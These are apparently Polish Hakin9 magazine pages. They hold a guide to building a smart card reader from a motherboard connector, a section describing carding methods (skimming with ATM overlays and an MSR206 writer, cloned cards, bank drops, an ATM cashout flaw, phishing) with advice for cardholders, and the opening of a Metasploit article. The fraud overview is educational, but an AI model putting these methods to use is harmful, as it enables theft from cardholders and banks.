SIM telefonów GSM. Między tymi kartami zauważymy zgodność układu styków. Każdy, kto miał okazję rozpakowywać nowy pakiet zakupiony w salonie GSM i własnoręcznie wyłamywać małą kartę z większej płytki plastiku, zauważył z pewnością, że operacja ta nie była niczym innym, jak zamianą dużej karty (pasującej do standardowych czytników) na małą, odpowiednią dla złącza współczesnych telefonów. Dowodzi to niezbicie, iż cała elektronika karty (chip) umieszczona jest bezpośrednio pod stykami, a reszta to tylko plastikowa oprawa. Skoro już o chipie mowa, warto zwrócić uwagę na to, że zarówno jego budowa, jak i zasada działania mogą się bardzo różnić w zależności od typu karty. Najprostsze są karty pamięciowe, zawierające jedynie układy EEPROM o różnej pojemności, czasem zabezpieczone przed zmianą
zawartości kodem PIN. Stosowane są one w systemach identyfikacji, kontroli dostępu i wszędzie tam, gdzie wymagane jest, aby użytkownik przenosił ze sobą pewną ilość danych. Tego rodzaju układy dysponować mogą największą ilością pamięci. Bardziej zaawansowane układy są wyposażone w procesor. W maleńkim chipie znajduje się cały mikrokontroler, czyli w gruncie rzeczy komputer z procesorem i trzema pamięciami: ROM (zawierającą system operacyjny karty), RAM (do przechowywania przetwarzanych danych) oraz EEPROM (służącą jako pamięć masowa dla danych użytkownika). Zastosowanie takich kart może być bardzo szerokie. Zadania, jakie wykonywać będzie karta, zależą głównie od zaimplementowanego w jej ROM-ie oprogramowania wewnętrznego. Daje to producentom i programistom duże pole do popisu. Trudno jest jednak zbudować systemy współpracujące z kartami procesorowymi. Wynika to z faktu, że różne zapakowane w plastik procesory mają niezgodne ze sobą listy rozkazów. Dlatego do budowy czytnika konieczna jest współpraca z producentem kart lub choćby dostęp do ich dokumentacji. Specyficznym rodzajem kart procesorowych są układy kryptograficzne. Zawierają one zwykle specjalny procesor szyfrujący, a ich oprogramowanie przystosowane jest do przechowywania i udostępniania innym aplikacjom kluczy szyfrujących, do pracy w systemach podpisu elektronicznego, zdalnego identyfikowania użytkowników, zabezpieczania logowania do systemów komputerowych itd. Mnogość rodzajów kart chipowych jest korzystna choćby ze względu na różnorodność ich zastosowań, ale jednocześnie fatalnie wpływa na uniwersalność czytników. Jak wspomniałem wcześniej, układ połączeń styków kart jest w zasadzie standardowy. Protokoły transmisji danych bywają natomiast bardzo różne. Dotyczy to także list rozkazów kart procesorowych. W rezultacie konieczne okazuje się opracowywanie specjalnych czytników i oprogramowania dla konkretnych modeli kart. Sprawdza się to znakomicie w przypadku zastosowań profesjonalnych – na przykład wtedy, gdy punkty mające obsługiwać użytkowników wyposaża się w specjalizowane czytniki do takich kart, jakie
zostały udostępnione konkretnej grupie osób (pracownikom, klientom itp.). Urządzenia tego rodzaju budowane są jako proste interfejsy, przyłączane choćby do portu szeregowego komputera. W takim przypadku cała obsługa komunikacji z kartą przerzucona zostaje na oprogramowanie. Przeciętny użytkownik peceta, który chciałby wyposażyć swoją maszynę w uniwersalny czytnik do kart chipowych, ma jednakże nie lada problem. Dostępne są oczywiście w sprzedaży urządzenia obsługujące wiele standardów, ale który z nich wybrać? Trudno odpowiedzieć jednoznacznie na takie pytanie, nie znając rodzajów kart, jakie mają być wykorzystywane. Warto postarać się, aby czytnik działał w jednym z najpopularniejszych na świecie standardów, czyli PC/SC. Zawsze jednak powinniśmy mieć świadomość, że mogą się trafić karty, których taki sprzęt nie obsłuży. Po prostu urządzenia radzącego sobie z absolutnie wszystkimi dostępnymi rodzajami kart najzwyczajniej na świecie nie ma... Do komunikacji z taką kartą można wykorzystać wbudowany w układ płyty głównej chip, który bardzo łatwo przeoczyć na pierwszy rzut oka. Obsługą kart chipowych w wielu współczesnych pecetach zajmuje się kość Multi I/O – ta sama, która steruje portami szeregowymi, równoległym, klawiaturą itd. Praca w trybie czytnika to po prostu jej dodatkowa funkcja, uaktywniana zamiennie z trybem obsługi drugiego portu szeregowego. Wystarczy zerknąć do opisu BIOS-u wielu płyt głównych, aby zauważyć, że jeden z układów UART może pracować w trzech trybach: jako standardowy port COM, port podczerwieni IrDA albo właśnie SmartCard Reader. Włączenie czytnika kart spowoduje zniknięcie z systemu jednego portu szeregowego i przełączenie go na gniazdo szpilkowe czytnika kart, umieszczone gdzieś na laminacie płyty głównej. Pozostaje więc wspomniane złącze odnaleźć, połączyć je z kartą i w razie potrzeby zainstalować wymagane sterowniki, aby cieszyć się w pełni sprawnym czytnikiem kart chipowych, zgodnym ze standardem PC/SC. Gdy zapoznamy się z ogólnym schematem działania PC/SC, zauważymy, że to, co wypadnie nam zbudować, wcale nie jest jakimś skomplikowanym urządzeniem. Nie licząc paru drobiazgów, mamy do czynienia jedynie z gniazdem dla karty, przewodem i wtyczką! Kondensator filtrujący napięcie zasilające czy oporniki nie wymagają komentarza. Koniecznie trzeba natomiast wspomnieć o widocznym na schemacie (Rysunek 1) tranzystorze. To jedyny element półprzewodnikowy. Współpracuje on z kontrolerem Multi I/O, który analizuje stan styków w gnieździe czytnika i tym samym fakt obecności karty chipowej w slocie. Sam tranzystor służy do podawania i odcinania zasilania. Napięcie jest odłączane podczas wkładania i wyjmowania karty, co zapewnia bezpieczne operowanie nią podczas pracy komputera. Samo zmontowanie czytnika z pewnością nie sprawi nikomu trudności ani też nie przysporzy dużych wydatków. Komplet elementów łącznie z gniazdem do kart nie powinien kosztować więcej niż kilkanaście złotych. Pracy też jest raptem na kilkanaście minut – jeśli zdecydujemy się na wersję bez płytki drukowanej, z bezpośrednimi połączeniami 4/2009 HAKIN9
37
ATAK przewodów do styków gniazda. Prototyp umieszczony został jednak na specjalnie przygotowanej płytce, co zabezpieczyło układ przed przypadkowymi zwarciami i ułatwiło mechaniczny montaż gniazda do zaślepki 3,5 cala. Po zainstalowaniu czytnika i ewentualnej instalacji sterowników (szczegóły w ramce) należy nowy sprzęt wypróbować. Z założenia czytnik standardu PC/SC może służyć do różnych zastosowań (na przykład w systemach podpisu elektronicznego), lecz na początek proponuję zapoznać się z prostymi programikami współpracującymi z kartami takimi jak np. pakiet Winbond Smart Manager, dostarczany razem ze sterownikami do układów Multi I/O tego producenta. Podstawą zestawu jest program Key Center, pozwalający zarejestrować nasze karty SIM (ang. Subscriber Identity Module) telefonu GSM lub bankowe jako klucze otwierające dostęp do pozostałych programów zestawu. Kiedy mamy już zatwierdzoną kartę-klucz, możemy przystąpić na przykład do szyfrowania plików na dysku za pomocą narzędzia File Protection, także wchodzącego w skład pakietu. Zbiór DOC, zaszyfrowany podczas obecności konkretnej karty, stanie się nieczytelny dla aplikacji MS Word, a przywrócenie mu pierwotnego formatu wymagać będzie włożenia do czytnika tej samej karty, która użyta była podczas szyfrowania. Oczywiście tak samo będzie się działo w przypadku, gdy będziemy mieli do czynienia z plikami innego typu. Dzięki temu, zabierając ze sobą niewielką przecież kartę, zablokujemy innym osobom korzystającym z tego samego komputera dostęp do naszych danych. W zabezpieczeniu peceta przed niepowołanym dostępem warto też pójść dalej. Programik Logon potrafi podczas logowania do systemu sprawdzać, czy w czytniku została umieszczona odpowiednia karta. Bez niej start komputera nie będzie możliwy. Jest też ciekawsza opcja: stałe sprawdzanie kodu karty. Po jej wywołaniu wystarczy wyjąć kartę z czytnika, aby przestały działać klawiatura i mysz, a cały ekran został przysłonięty grafiką ze stosownym komunikatem. Co ważne, natychmiast po ponownym włożeniu karty wszystko automatycznie wraca do stanu pierwotnego – bez restartowania systemu, ponownego uruchamiania programów itd. Mechanizm ten pozwala szybko i wygodnie – nawet w czasie chwilowego opuszczenia 38
HAKIN9 4/2009
miejsca pracy – zabezpieczyć komputer przed dostępem niepowołanych osób. Na zabezpieczeniach możliwości pakietu się jednak nie kończą. Jeśli w czytniku znajdzie się moduł SIM z telefonu komórkowego, to za pomocą narzędzia GSM Explorer będziemy mogli swobodnie edytować książkę telefoniczną. Oczywiście do układu SIM musimy dorobić odpowiednią ramkę (np. z tektury), aby dopasować się do rozmiarów czytnika. Naturalnie nie jesteśmy zmuszeni korzystać wyłącznie z oprogramowania dostarczanego razem ze sterownikami. Możemy swobodnie używać praktycznie każdej aplikacji zgodnej z naszymi kartami i czytnikami standardu PC/SC. Ot, choćby w przypadku kart telefonów GSM posłużymy się amatorskim narzędziem SIM Spy (http://www.nobbi.com), aby dowiedzieć się wielu interesujących szczegółów o swojej karcie SIM. Warto też sięgnąć po inne specjalistyczne aplikacje przeznaczone dla autorów oprogramowania współpracującego z kartami. Za przykład niech posłuży SmartCard ToolSet (http: //www.scardsoft.com), pozwalająca testować, identyfikować czy skanować listy rozkazów różnego typu kart. Może być to bardzo przydatne w przypadku problemów z dostępem do dokumentacji technicznej karty. Mając odpowiedni czytnik, otwieramy sobie też drogę do samodzielnego opracowania systemów wykorzystujących karty chipowe. Czasem nabywając „czyste” karty, otrzymamy gratis odpowiedni pakiet oprogramowania autorskiego, a zatem łatwo i stosunkowo tanio możemy stać się autorami nowego, niewykluczone, że innowacyjnego, zastosowania kart chipowych. Jeśli dostawca kart przewidział możliwość odczytywania ich zawartości w domowym pececie, od razu udostępnia klientowi gotowy program. Trzeba tylko zadbać o własny standardowy czytnik, aby skorzystać z nowych funkcji naszego peceta.
Elektronika czytnika
Niezwykła prostota konstrukcji i bardzo niska cena opisywanego czytnika wynika z wykorzystania wbudowanej w płytę główną elektroniki. Tak naprawdę w artykule zachęcam do budowy gniazda i przewodu połączeniowego z odpowiednimi układami zamontowanymi w kości Multi I/O peceta. Zanim jednak chwycimy za lutownicę,
powinniśmy sprawdzić, czy płyta główna oferuje funkcje odpowiedzialne za obsługę kart chipowych. Na początek najlepiej zajrzeć do dokumentacji płyty. Wśród informacji dotyczących niepozornych złączy szpilkowych trzeba szukać czegokolwiek na temat SmartCard. Bardzo ważne jest ponadto odnalezienie opisu samego gniazda, oznaczonego jako SmartCard, Smartcon itp. Bez dokładnego opisu przyporządkowania każdej szpilki nie uda się poprawnie podłączyć czytnika. Wskazane jest też zerknięcie do wnętrza peceta i odszukanie opisanego w instrukcji gniazda w naturze. Czasem zdarza się, że stan faktyczny na konkretnej płycie odbiega od tego z dokumentacji. Na koniec nie zawadzi rozejrzeć się w okolicach gniazda za układem Multi I/O i zapisać jego symbol. Może się to bardzo przydać podczas poszukiwania sterowników do chipa. Przystępując do montażu przygotowanego wcześniej czytnika, trzeba wyjątkowo starannie podejść do połączeń wtyczki łączącej kabel z płytą główną. Zwarcia w przewodzie lub na płytce mogą skończyć się uszkodzeniem kości Multi I/O. Rozkład sygnałów, a także ich liczba w gnieździe szpilkowym mogą być różne dla poszczególnych modeli płyt głównych. Zawsze jednak powinniśmy odnaleźć te potrzebne nam do komunikacji z kartami. Należy więc porównać uważnie instrukcję obsługi płyty z opisem wyprowadzeń czytnika i polutować wtyczkę tak aby uzyskać połączenie wyjść o takich samych nazwach (np. SCRCLK czytnika z SCRCLK płyty głównej, VCC czytnika z VCC płyty i tak dalej). Później pójdzie już z górki. Najwygodniej jest przygotować miejsce dla czytnika w wolnej zatoce 3,5 lub 5,25 cala. Jeśli płytka układu zostanie przymocowana do zaślepki, to za mocowanie do obudowy służyć będą jej zatrzaski. Gdy czytnik już siedzi na swoim miejscu, czas zajrzeć do wnętrza obudowy. Podłączenie wtyczki do odpowiedniego gniazda płyty głównej kończy pracę. Można zamykać obudowę, ustawić pecet na swoim miejscu i zabrać się za konfigurację BIOS-u. W BIOS-ie odszukujemy opcje związane z portami wejścia-wyjścia (I/O Device configuration) i przełączamy tryb pracy jednego z nich (UART2 Use as) na Smart Card Reader. Po tym zabiegu z systemu
SOCJOTECHNIKA, PHREAKING, PHARMING zniknie jeden z portów szeregowych (zwykle COM2) i przestanie działać jego gniazdo na tylnej ściance peceta. W Windows pojawi się za to nowy sprzęt opisany jako czytnik kart inteligentnych bądź... nieznane urządzenie. W tym drugim przypadku konieczna okaże się instalacja odpowiednich sterowników. Kość Multi I/O płyty głównej obsługuje wiele urządzeń (porty szeregowe, port równoległy, klawiatura, mysz PS2 itd.). Sterowniki do nich są zazwyczaj wbudowane w system operacyjny lub znajdują się w typowej paczce programów dostarczanych przez producenta konkretnej płyty głównej. W przypadku czytnika kart chipowych, obsługiwanego przez ten sam układ scalony, może się jednak zdarzyć, iż trzeba będzie samodzielnie poradzić sobie z problemem nieznanego urządzenia i dostarczyć pecetowi odpowiednich sterowników. Kluczami do ich odszukania są typ oraz producent układu Multi I/O danej płyty głównej. Na CD dostarczonym z płytą, na stronie WWW jej producenta lub też na stronie producenta samej kostki trzeba szukać czegoś związanego ze Smart Card i firmą, która wyprodukowała układ wejściawyjścia. Przykładowo: wykorzystana przy opracowaniu niniejszego tekstu płyta miała kość W83627GF-AW firmy Winbond, a zatem pakiet sterowników Winbond Smart@IO Driver już na pierwszy rzut oka wydawał się tym, co jest potrzebne. Sama instalacja okazała się banalnie prosta, gdyż instalator automatycznie rozpoznał typ układu oraz wersję systemu operacyjnego i samoczynnie wybrał potrzebne pliki. Już po chwili w Menedżerze urządzeń wśród Czytników kart inteligentnych zamiast Nieznanego urządzenia pojawił się Winbond SmartcardReader.
Skimming
Jest to kopiowanie paska magnetycznego karty. Technika wykorzystywana najczęściej przy atakach na bankomaty, gdzie złodzieje zakładają miniaturowy czytnik w miejscu, w którym klient wprowadza kartę. Jest on tak zbudowany, aby nie wzbudzał niczyich podejrzeń oraz wyglądał jak część bankomatu. Do zdobycia numerów PIN osoby posiadającej kartę płatniczą napastnicy używają nakładki na klawiaturę (taką samą jak w bankomacie), posiadającej własną, wbudowaną pamięć oraz zapisującej wszystkie wprowadzane do niej polecenia.
Posiadając zeskanowaną kartę płatniczą oraz numer PIN, atakujący bez problemu może nagrać kartę przy pomocy chociażby urządzenia MSR206, w oczywistym celu jej wykorzystania. Paradoksem jest fakt, że nagrywarka oraz czyste karty dostępne są legalnie w sklepach w Internecie. Technika skanowania i kradzieży kart płatniczych jest wykorzystywana również w sklepach, restauracjach oraz innych podobnych miejscach wspierających możliwość uiszczenia opłaty kartą płatniczą. Aby ustrzec się przed tego typu atakami, musimy zwracać szczególną uwagę na bankomaty, z których korzystamy – czy nie posiadają doczepionych podejrzanych urządzeń? Zwróćmy także uwagę na to, co dzieje się z naszą kartą, w momencie, kiedy damy ją sprzedawcy w sklepie czy też recepcjoniście w hotelu. Jeżeli zostanie ona przesunięta ukradkiem przez inny czytnik kart, możemy w następstwie tego faktu paść ofiarą carderów. Czasami sytuacje takie mają miejsce na ogromną skalę, a zebrane po całym dniu np. w hotelu numery kart kredytowych sprzedawane są carderom po ulgowych cenach.
Instore carding
W momencie, kiedy carder posiada tylko zestanowane karty, bez kodów PIN, korzysta z nich z reguły w sklepach, robiąc różnego rodzaju zakupy. Potrzebuje plastiku, na który nagrywane są dane – w miejsce, gdzie karta posiada nadruk i hologram. Na domiar złego, karty takie są ogólnodostępne na czarnym rynku. Jeśli przestępcy nie posiadają takich kart lub dostępu do nich, próbują używać starych, prawdopodobnie skradzionych z czyjegoś portfela albo torebki – na które nanoszą własne dane. Zeskanowane karty nazywają się potocznie dumps, a ich ceny uzależnione są od jakości karty – czy jest to karta typu Classic, Business, Platinum, a może Corporate. W celu zapewnienia sobie choćby minimalnej ochrony przed sytuacją, w której ktoś posługuje się kartą bez naszej wiedzy, jest stała kontrola rachunku, operacji dokonywanych naszą kartą i wszelkich aspektów jej użycia, które mogłyby wskazywać na jej zeskanowanie.
Wire transfers
Carderzy rozsyłają różnego rodzaju wirusy, zawierające keyloggery zapisujące login/hasło kont bankowych, przelewając
następnie pieniądze na tzw. bank drops, czyli fikcyjne konta bankowe – i wypłacając dostępne po przelewie środki. Wiele banków używa dodatkowych zabezpieczeń w postaci haseł jednorazowych, kluczy, haseł do przelewów. Gdy atakujący posiada dostęp do zainfekowanego komputera wraz z loginem/ hasłem do konta użytkownika, ma możliwość spreparowania systemu tak aby osoba, która wpisze w swojej przeglądarce adres strony WWW banku, została przekierowana na tzw. scam page, imitującą autentyczną stronę i proszącą o wpisanie hasła jednorazowego. Należy zachować ostrożność i dbać o bezpieczeństwo swojego komputera, dokonywanie przelewów bankowych ze strony internetowej wymaga należytej uwagi. Trzeba się zawsze szczegółowo upewnić, czy strona, na którą trafiliśmy, jest na pewno oryginalną witryną banku.
ATM cashout
Do metody tej złodzieje potrzebują następujących danych: numeru karty, daty ważności, PIN-u oraz CVN (ang. Card Verification Number). W Internecie dostępne są listy banków oraz numerów kart kredytowych, którymi można wypłacić środki finansowe przez bankomat. Karta kredytowa zawiera trzy ścieżki. Na pierwszej z nich zapisywane są takie dane jak numer karty, data ważności, imię i nazwisko oraz algorytm szyfrowania. Na drugiej ścieżce znajdują się te same dane, co na pierwszej oprócz imienia i nazwiska oraz litery B (od słowa bank) – oznaczającej fakt bycia kartą płatniczą. Przykład: Ścieżka 1: B'numer _ karty'^Imię/
Nazwisko^'data _ ważności''algorytm' Ścieżka 2: 'numer _ karty'='data _ ważności''algorytm'
Każda karta posiada swój indywidualnie wygenerowany przez bank algorytm. Bankomaty odczytują tylko ścieżkę drugą. Luka w systemach bankowych polegała na tym, że algorytm karty nie był odpowiednio interpretowany, tylko sprawdzane były dane numeru oraz daty ważności, a także PIN. Jeżeli dane były poprawne – bankomat wypłacał pieniądze. Ta metoda jest już coraz rzadziej stosowana przez carderów, ze względu na to, że większość banków uaktualniła już swoje systemy zabezpieczeń. 4/2009 HAKIN9
39
ATAK Casino
Jest to po prostu gra carderów w internetowych kasynach, gdzie zakładają oni na przykład dwa konta. Jedno fikcyjne, na które przelewane są pieniądze z wykorzystaniem kart kredytowych, a drugie, przy którego pomocy wygrywają legalnie. Następnie pieniądze są przelewane na konto bankowe i wypłacane.
Shopping
Zdobywanie danych poszczególnych kart kredytowych może odbywać się z wykorzystaniem metody phishingu, czyli rozsyłania wiadomości poczty elektronicznej z adresem fałszywej strony banku. Ofiarami ataku są nieuważni ludzie, którzy, otrzymując taki e-mail z informacją np. o aktualizacji swoich danych i konta, wchodzą na podstawioną stronę, wyglądającą identycznie jak prawdziwa. Wpisują tam swoje dane, które trafiają najczęściej na konta pocztowe carderów. Często przeprowadzanymi atakami są włamania na serwery utrzymujące bazy danych zawierające poufne dane i numery kart kredytowych klientów. Czasami spotkać też można informacje o dostępności takich danych kart kredytowych na forach lub na czarnym rynku. Pamiętajmy o należytym bezpieczeństwie i rozwadze przy dokonywaniu przelewów online, nigdy nie róbmy tego z kafejek internetowych, gdzie w większości przypadków na komputerach użytkowników zainstalowane są programy monitorujące wprowadzane z klawiatury informacje. Uważajmy na odnośniki, nie ufajmy adresom, które mogą być spoofowane, monitorujmy raporty przelewów i zwracajmy uwagę na bankomaty, z których korzystamy. Przy zachowaniu podstawowych środków bezpieczeństwa nie powinno dojść do sytuacji, w której pewnego dnia po zalogowaniu się na własne konto, zobaczymy, że jest ono puste. Dostęp do pamięci na karcie może być zabezpieczony. Niektóre karty pozwalają na zabezpieczenie przed zapisem, inne na zabezpieczenie przed zapisem i odczytem, a inne nie mają żadnych zabezpieczeń. Same zabezpieczenia też mogą być różnego rodzaju: kod PIN 16-bitowy albo 24-bitowy (ponad 16 milionów kombinacji), 48-bitowy (ponad 281 bilionów kombinacji) lub jeszcze dłuższy klucz szyfrujący. Każda 40
HAKIN9 4/2009
tak zabezpieczona karta ma ponadto licznik błędnych prezentacji PIN lub klucza i zostaje zablokowana, jeśli podczas kilku (typowo od 3 do 8) prób nie zostanie podany prawidłowy numer. Niektóre karty pozwalają także na pełne zabezpieczenie pewnych obszarów pamięci przed zapisaniem. Polega ono na selektywnym, nieodwracalnym blokowaniu możliwości modyfikacji pewnych obszarów pamięci karty. Przykładem karty bez zabezpieczenia odczytu, chronionej natomiast przed zapisem przy pomocy 16-bitowego PIN-u i z możliwością trwałego zabezpieczenia poszczególnych oktetów jest układ Siemensa o symbolu SLE4428, o pojemności 8 kilobitów. Istnieją jednak dużo lepiej zabezpieczone karty. Zawierają one komputer z własnym programem w pamięci ROM, dodatkowo pamięć RAM, EEPROM lub FLASH-ROM. Takie karty nazywane są kartami procesorowymi. Często używane są w nich procesory z rodziny MCS51 (bardzo popularny standard). Dostęp (zarówno zapis, jak i odczyt) do pamięci na karcie może być zabezpieczony PIN-em lub przy pomocy tajnego klucza i mechanizmu challengeresponse. Karta procesorowa może zawierać również moduł kryptograficzny oparty o szyfr z kluczem publicznym RSA. Jest to bardzo dobre zabezpieczenie, bo klucz zapisany i zabezpieczony w pamięci karty przez dostawcę aplikacji nigdy potem nie jest ujawniany. Wszelkie operacje kryptograficzne wykonywane są wewnątrz karty, a zarówno do identyfikacji karty, jak i utajnienia informacji w zupełności wystarcza klucz publiczny, który może być ujawniany. Dzięki rozwiązaniu sprzętowemu skomplikowane operacje matematyczne stosowane w metodzie RSA wykonywane są bardzo szybko. Przykładami kart procesorowych są układy SLE 44C80 oraz SLE44CR80S Siemensa. Przy omawianiu zabezpieczeń kart trzeba wspomnieć także o tym, że struktura układu scalonego jest tak skonstruowana, że nie jest możliwe podejrzenie lub podsłuchanie jej budowy i działania. Także próba mechanicznego dostępu do karty poprzez usuwanie kolejnych warstw struktury układu scalonego spowoduje uszkodzenie karty.
Można używać karty chipowej jako klucza do komputera. Musimy oczywiście zainstalować w maszynie czytnik kart, który – wraz z odpowiednio zmodyfikowanym BIOS-em oraz oprogramowaniem – zapewnia pełną kontrolę nad komputerem: nie jest możliwe uruchomienie systemu operacyjnego bez karty, nie można zmieniać ustawień konfiguracyjnych BIOS-u (ang. BIOS settings). Uprawnienia poszczególnych użytkowników do pracy z wybranymi komputerami mogą być dowolnie kształtowane przez administratora systemu. Możliwe jest tworzenie wydzielonych grup komputerów i kart w ramach przedsiębiorstwa, budynku itp. Dzięki wbudowanemu w niektóre karty modułowi RSA lub mechanizmowi challenge-response możliwe jest użycie karty jako bezpiecznego identyfikatora. Nawet podsłuchanie transmisji do i z karty nie da włamywaczowi możliwości odgadnięcia hasła. Ponadto jego długość (nawet do ponad tysiąca bitów) i zabezpieczenie karty przed wielokrotnymi próbami podawania nieprawidłowego hasła uniemożliwiają złamanie systemu metodą brutalnego ataku. Ponadto dzięki karcie szyfrowanie danych może odbywać się poza aplikacją, więc włamywacz mający dostęp do programu, ale nieposiadający karty nie będzie w stanie złamać systemu.
Podsumowanie
Wydaje się, że perspektywa łamania karty jest odległa, jednak dzisiejsza technologia pozwala na wykonanie odczytu karty i informacji na niej zawartych tak samo, jak czytają ją bankomaty czy urządzenia płatnicze. Następnie te wartości są kopiowane na inną kartę i udostępniane, gdy taki czytnik o nie poprosi. Dlatego też stosuje się klucze zabezpieczające po stronie czytnika i karty – komunikacja między urządzeniami jest szyfrowana, co zapewnia nam znacznie wyższy poziom bezpieczeństwa. Rafał Podsiadły
Od kilku lat fascynuje się nietypowymi technikami zabezpieczeń, projektowaniem i wprowadzaniem skutecznych polityk bezpieczeństwa, projektowaniem użytecznych interfejsów dla użytkownika, psychologią społeczną. Od 5 lat programista C++, Delphi, JavaScript, PHP, MySql. Student WSTI – Katowice. Kontakt z autorem: [email protected]
Strony rekomendowane
Misją serwisu jest zaprezentowanie języków programowania oraz ułatwienie użytkownikowi ich szybkiej nauki.
Strona internetowa firmy Fit Consulting specjalizującej się w nowoczesnych rozwiązaniach informatycznych, zaczynając od sprzedaży sprzętu komputerowego i świadczeniu usług po zaawansowane rozwiązania zarządzania przedsiębiorstwem. http://www.fit-consulting.pl/
Portal poświęcony technikom programowania oraz sposobom ochrony przed zagrożeniami jakie płyną z Internetu. Przedstawione techniki służą do celów edukacyjnych, nie należy ich wykorzystywać w niewłaściwy sposób. http://www.hackerzy.pl
Strona firmy świadczącej profesjonalne usługii IT, specjalizującej się w wypożyczaniu serwerów i macierzy. Firma prowadzi także centrum szkoleniowe.
http://www.haker.ocom.pl/
Do niedawna termin hacking był zarezerwowany tylko dla profesjonalistów. Na tym portalu można dowiedzieć się więcej o tym zagadnieniu. Znajdują się na nim również aktualności i obszerny dział downloads. http://www.hakerczat.prv.pl/index.html
Portal dla wszystkich zainteresowanych tematyką bezpieczeństwa, audytem, IT Governance w sieciach i systemach teleinformatycznych, a także ochroną danych. http://www.locos.pl/
Portal internetowy poświęcony w całości branży IT. Podzielony jest na trzy działy poświęcone sprzętowi komputerowemu, grom i rozrywce oraz najnowszym aplikacjom. http://www.pcarena.pl/index.php
Strona koła naukowego PK IT Security Group. Koło ma na celu dostarczanie informacji związanych z bezpieczeństwem.
Misją serwisu jest dostarczenie dużej ilości informacji z zakresu informatyki. Znajdują się na nim ciekawe artykuły, najświeższe informacje z rynku IT, recenzje książek jak i kursy tworzenia portali www. http://www.swww.pl/
Strona dla każdego webmastera i hackera. Jeśli zawsze chciałeś stworzyć swoją stronę internetowej lub poznać haking od podszewki, to ten serwis Ci w tym pomoże.
Serwis poświęcony branży IT oferujący codzienne newsy, artykuły, recenzje magazynów, testy oraz forum dyskusyjne.
http://web4u.neth.pl/
http://www.webhat.pl/index.php
http://www.cjp.xt.pl
Witryna poświęcona w całości tematyce hakingu. Początkujący w tej dziedzinie znajdą na niej działy, ktore im umożliwią rozpoczęcie nauki.
Strony rekomendowane
http://www.itlpolska.pl
http://www.pkitsec.pl/
ATAK Metasploit Framework
GRZEGORZ GAŁĘZOWSKI
Stopień trudności
Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.
P
Z ARTYKUŁU DOWIESZ SIĘ czym jest ceniony pakiet narzędzi hakerskich Metasploit Framework, jak na konkretnym przykładzie używać tego pakietu do przeprowadzania testu wykrycia podatności na lukę RRAS Stack Overflow w systemach MS Windows.
CO POWINIENEŚ WIEDZIEĆ wskazana jest praktyczna znajomość choćby podstaw programowania w języku C++, znajomość systemu operacyjnego Linux lub MS Windows. 42
HAKIN9 4/2009
rogram zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących kr ytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, któr y do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania. Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady. Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami – przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem. Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń
kosmiczną pierwszą amer ykańską sondę międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie. Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykr ywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest, by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi.
Historia Metasploit Framework (MSF)
Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko. Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów
METASPLOIT FRAMEWORK tego projektu, któr ymi są programiści ukr ywający się pod pseudonimami Spoonm i HD Moore, na zasadach otwartego kodu źródłowego. MSF został pierwotnie napisany w języku skr yptowym Perl i obejmował różnego rodzaju elementy napisane w języku C, asembler i Python. Licencja projektu została tak skonstruowana, że – w ramach licencji GPL v2 i Perl może być wykorzystywany zarówno w projektach open-source, jak i komercyjnych. Od wersji 3.0 MSF jest całkowicie od nowa napisany w języku Ruby i został wyposażony w szeroką gamę inter fejsów API. Licencja tego produktu jest teraz bliższa tym obowiązującym w przypadku oprogramowania komercyjnego. MSF można jednak wykorzystywać do własnego użytku, zachowano też prawo do swobodnego rozpowszechniania. Zabronione jest sprzedawanie MSF w jakiejkolwiek formie oraz integracja w pakietach komercyjnych (w oprogramowaniu, urządzeniu czy też w innej formie). Wprawdzie początkowo w ramach tego projektu nie powstał żaden system wsparcia dla programistów, ale począwszy od wersji sytuacja się zmieniła, a wbudowana pomoc ma naprawdę szerokie możliwości. Oprogramowanie MSF zostało stworzone, by dostarczyć programistom platformy do pisania oprogramowania wyszukującego luki w systemach bezpieczeństwa. Dzięki temu ułatwia ono ludziom zawodowo zajmującym się problemami bezpieczeństwa i badaczom szybkie pisanie odpowiednich narzędzi. Na najbardziej podstawowym poziomie system MSF dostarcza rozbudowanego interfejsu API umożliwiającego określanie różnych parametrów ataku wykrywającego lukę. Wielu spośród jego komponentów można używać wielokrotnie w różnych zestawieniach. Przykładami mogą być moduły generujące treść pakietów, przetwarzające ją, generatory NOP, biblioteki protokołów i procedury szyfrujące. Oprogramowanie MSF dostarcza szerokiego zestawu wydajnych komponentów, których można używać podczas programowania ataków
